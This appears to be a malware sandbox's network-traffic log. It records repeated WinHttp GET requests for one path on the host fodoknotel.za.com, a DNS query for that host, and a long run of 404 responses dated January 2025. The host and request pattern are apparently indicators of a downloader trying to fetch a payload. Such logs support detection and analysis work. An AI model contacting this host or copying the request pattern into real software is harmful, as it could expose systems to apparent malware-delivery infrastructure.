Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com

Source: global traffic

DNS traffic detected: DNS query: fodoknotel.za.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:24:58 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:24:59 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:00 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:01 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:02 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:03 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:04 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:05 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:06 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:07 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:07 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:08 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:09 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:10 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:11 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:12 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:13 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:13 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:14 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:15 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:16 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:17 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:18 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:19 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:20 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:20 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:21 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:22 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:23 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:24 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:25 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:26 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:27 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:27 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:29 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:29 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:30 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:31 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:32 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:33 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:34 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:35 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:36 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:36 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:37 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:38 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:39 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:40 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:41 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:42 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:42 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:43 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:44 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:45 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:46 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:47 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:48 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:48 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:49 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:50 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:51 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:52 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:53 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:54 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:55 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:56 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:56 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:57 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:58 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:25:59 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:00 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:01 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:02 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:03 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:04 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:04 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:05 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:06 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:07 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:08 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:09 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:09 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:10 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:11 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:12 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:13 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:14 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:15 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:15 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:16 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:17 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:18 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:19 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:20 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:20 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:21 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:22 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:23 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:24 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:25 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:26 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:27 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:28 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:29 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:30 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:31 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:32 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:33 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:33 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:34 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:35 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:36 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:37 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:38 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:39 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:40 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 07:26:40 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
